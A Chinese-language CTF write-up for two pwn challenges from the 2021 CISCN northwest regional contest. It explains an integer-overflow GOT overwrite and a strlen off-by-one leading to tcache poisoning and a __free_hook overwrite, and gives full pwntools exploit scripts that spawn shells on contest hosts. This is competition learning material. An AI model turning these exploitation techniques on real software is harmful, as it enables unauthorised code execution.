ciscn 西北分区赛部分pwn
发表于:2021-06-11 |
字数统计: 1.4k | 阅读时长: 7分钟 | 阅读量:

ciscn 西北分区赛部分pwn

xb_pwn_easy

分析发现是道整数溢出的题,unsigned int8最大数为255,当输入的数字超出255时就会发生溢出。但当时做题我将v4输为0,也可以造成溢出,原因是read的第三个参数v4-1=-1,又read的第三个参数类型是size_t,当输入负值时,会将其转换为无符号数。
在这里插入图片描述
利用整数溢出漏洞,可以覆盖age、email、phone,可以将email覆盖为函数的got地址,这样就可以获得函数的地址并且得到libc的基地址。
在这里插入图片描述

修改puts函数的got表。一开始我将phone覆盖为puts_got的值,再利用edit函数将其改写为system函数的地址+‘||/bin/sh\x00’,但是报错,原因应该是system函数地址有两个‘\x00’,截断了‘||/bin/sh\x00’。改为onegadget即能打通。
在这里插入图片描述
exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
from pwn import *
#io = process('./pwn')
io = remote('172.1.28.5',8888)
elf = ELF('./pwn')
libc = ELF('./libc.so.6')
context(log_level = 'debug')
context.terminal = ['tmux','splitw','-h']
read_got = elf.got['read']
puts_got = elf.got['puts']
io.sendlineafter('name> ','aaaa')
io.sendlineafter('email> ','bbbb')
io.sendlineafter('phone> ','cccc')
io.sendlineafter('age> ','18')
io.sendlineafter('size> ','0')
payload = 'a'*0x28+p64(read_got)+p64(0)+p64(puts_got)+p64(0x20)
#gdb.attach(io)
io.sendline(payload)
#sleep(1)
io.recvuntil('temail> ',timeout=1)
#sleep(1)
read = u64(io.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
libcbase = read - libc.symbols['read']
print(hex(libcbase))
system = libcbase+libc.symbols['system']
onegadget = [0x45226,0x4527a,0xf03a4,0xf1247]

io.sendlineafter('phone? >','y')
#sleep(1)
raw_input()
io.sendlineafter('> ',p64(onegadget[3]+libcbase))

io.interactive()

xb_pwn_enc_system

保护全开,分析出漏洞在strlen函数那,strlen遇到’\x00’停止,当我们将chunk填满时,下一个chunk的size处就会被strlen算入,然后被异或造成一个字节的off-by-one漏洞。
在这里插入图片描述

先申请3个大小为0x110的chunk,第一个chunk的密钥处填为0xb0,因为0x21^0xb0=0x91,在释放掉被更改了size域的chunk即可造成堆块堆叠。
gift函数可以申请1~512大小的chunk,但只能申请一次,利用此函数可以申请刚刚释放掉的被更改了size域的chunk。这时我们就可以控制tcache的0x110部分的freechunk。我们通过填充一定量的垃圾数据来泄露heap_base。
在这里插入图片描述

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
add(0,0x108,0xb0)  
add(1,0x108,0)
add(2,0x108,1)
payload = 'a'*0x108
encry(0,payload)
payload = 'a'*0x68+'\xa1'+'\x00'
encry(1,payload)
#pause()
dele(0)
dele(2)
dele(1)
gift(1,0x88,0)
#pause()
payload = 'a'*0x28
encry(1,payload)
io.recvuntil('61'*0x28)
heap_base = io.recv(12)
news=''
while(len(heap_base)):
news += heap_base[-2:]
heap_base = heap_base[:-2]
heap_base = int(news,16)
print(hex(heap_base))

接着我们将freechunk的fd指针与(heap_base>>12)异或即可使fd指向heap_base。再连续两次申请0x110的chunk即可控制tcache。将0x110对应的chunk的counts设置为7,然后释放掉一个chunk,填充一定垃圾数据泄露main_arena的地址,得到libc的基地址。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
payload = 'a'*0x18+p64(0x111)+p64(heap_base^heap_base>>12)
decry(1)
encry(1,payload)
#pause()
add(0,0x108,0)
add(2,0x108,0)#tcache
#pause()
payload = '\x00'*0x1e+'\x07\x00'+'\x00'*0x60
encry(2,payload)
dele(0)
decry(2)
payload = '\x01'+'\x00'*0x7f
encry(2,payload)
decry(1)
encry(1,'a'*0x21)
decry(1)
io.recvuntil('61'*0x21)
main_arena = io.recv(10)
news=''
while(len(main_arena)):
news += main_arena[-2:]
main_arena = main_arena[:-2]
main_arena = int(news,16)
#print(hex(main_arena<<8))
main_arena = main_arena<<8
malloc_hook = main_arena-96-16
libcbase = malloc_hook - libc.symbols['__malloc_hook']
system = libcbase+libc.symbols['system']
print(hex(libcbase))
free_hook = libcbase+libc.symbols['__free_hook']
print('free_hook',hex(free_hook))
encry(1,'a'*0x18+p64(0x111)+'\x00')
decry(1)
#pause()

最后改写free_hook的值为system的地址,即可拿到shell。
完整exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
from pwn import *
#io = process('./pwn1')
io = remote('172.1.28.7',8888)
libc = ELF('./libc.so.6')
context(log_level = 'debug')

def add(a1,a2,a3):
io.sendlineafter('> ','1')
io.sendlineafter('idx: ',str(a1))
io.sendlineafter('length: ',str(a2))
io.sendlineafter('key: ',str(a3))

def dele(a1):
io.sendlineafter('> ','2')
io.sendlineafter('idx: ',str(a1))

def encry(a1,a2):
io.sendlineafter('> ','3')
io.sendlineafter('idx: ',str(a1))
io.sendafter('content: ',a2)

def decry(a1):
io.sendlineafter('> ','4')
io.sendlineafter('idx: ',str(a1))

def gift(a1,a2,a3):
io.sendlineafter('> ','233')
io.sendlineafter('idx: ',str(a1))
io.sendlineafter('length: ',str(a2))
io.sendlineafter('key: ',str(a3))

def exp():
add(0,0x108,0xb0)
add(1,0x108,0)
add(2,0x108,1)
payload = 'a'*0x108
encry(0,payload)
payload = 'a'*0x68+'\xa1'+'\x00'
encry(1,payload)
#pause()
dele(0)
dele(2)
dele(1)
gift(1,0x88,0)
#pause()
payload = 'a'*0x28
encry(1,payload)
io.recvuntil('61'*0x28)
heap_base = io.recv(12)
news=''
while(len(heap_base)):
news += heap_base[-2:]
heap_base = heap_base[:-2]
heap_base = int(news,16)
print(hex(heap_base))

payload = 'a'*0x18+p64(0x111)+p64(heap_base^heap_base>>12)
decry(1)
encry(1,payload)
#pause()
add(0,0x108,0)
add(2,0x108,0)#tcache
#pause()
payload = '\x00'*0x1e+'\x07\x00'+'\x00'*0x60
encry(2,payload)
dele(0)
decry(2)
payload = '\x01'+'\x00'*0x7f
encry(2,payload)
decry(1)
encry(1,'a'*0x21)
decry(1)
io.recvuntil('61'*0x21)
main_arena = io.recv(10)
news=''
while(len(main_arena)):
news += main_arena[-2:]
main_arena = main_arena[:-2]
main_arena = int(news,16)
#print(hex(main_arena<<8))
main_arena = main_arena<<8
malloc_hook = main_arena-96-16
libcbase = malloc_hook - libc.symbols['__malloc_hook']
system = libcbase+libc.symbols['system']
print(hex(libcbase))
free_hook = libcbase+libc.symbols['__free_hook']
print('free_hook',hex(free_hook))
encry(1,'a'*0x18+p64(0x111)+'\x00')
decry(1)
#pause()

add(0,0x108,0)
decry(2)
dele(0)
#pause()
encry(2,'\x01\x00'+'\x00'*0x1c+'\x01\x00'+'\x00'*0x60+p64(heap_base-0x10+0x2a0)+'\x00'*(0x100-0x90)+p64(free_hook-0x10))
#pause()

add(0,0x108,0)
encry(0,'/bin/sh\x00'*2+p64(system))
dele(0)
io.interactive()

exp()
上一篇:
house of atum
下一篇:
ciscn2021西北部分pwn